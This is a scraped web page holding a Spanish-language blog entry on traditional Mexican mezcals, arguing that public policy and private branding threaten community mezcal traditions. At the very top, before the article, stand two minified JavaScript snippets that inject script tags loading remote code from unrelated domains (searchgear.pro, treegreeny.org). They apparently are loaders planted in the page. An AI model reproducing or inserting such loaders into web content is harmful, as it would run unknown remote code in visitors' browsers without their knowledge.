;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); ;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Mezcales Tradicionales de los Pueblos de México » 75. Ignorancia: enemiga del mezcal

75. Ignorancia: enemiga del mezcal


Los Mezcales Tradicionales (MT) existen gracias a la resistencia y férrea determinación cultural de las comunidades que los crean y recrean, día a día, bajo estrictas reglas de calidad que les permiten reproducir con fidelidad y exquisita sensibilidad, sabores y aromas precisos que han construido durante siglos. Contra esta tradición han existido, y existen, políticas públicas (virreinales, decimonónicas, revolucionarias, postrevolucionarias, fiscales, culturales, productivistas, “sanitarias”, cientificistas, de propiedad intelectual y hasta puritanas), que han tratado, voluntaria o involuntariamente, de destruirlos.
También desde el sector privado se cuecen habas; tal es el caso de la actual proliferación brutal de marcas comerciales de “mezcal”, que sólo son palabras adheridas a una botella que un privado o una empresa registra como propios ante el IMPI, pero que no tienen nada que ver con la tradición ni con las regiones mezcaleras. El registro lo complementan con la “cacería de mezcales”, que llevan a cabo visitando frenéticamente cuanta región y población mezcalera hay para envasarlos bajo su marca sin importarles las condiciones culturales, medioambientales y económicas que han permitido la continuidad de los MT. Ambas acciones conforman el despojo de una tradición comunitaria a favor de privados que no tienen relación con dicha tradición, y que tampoco les interesa conocerla ni respetarla, pues sólo les representa una actividad de negocios. Ahora todos quieren “su marca”: chefs, dueños de bares, artistas, etc, sin tener ni la más remota idea de la complejidad y riqueza de los MT, y menos de las formas precisas mediante las cuales deben de evaluarse. Es más: ¡dicen que los sistemas de evaluación tradicional no sirven!, autoerigiéndose en expertos.
Así, sector público y privado inducen a la destrucción de los MT con decisiones basadas en la ignorancia y en el prejuicio, socavando las condiciones culturales, sociales y ambientales que han permitido su sobrevivencia.
http://impreso.milenio.com/node/8958763

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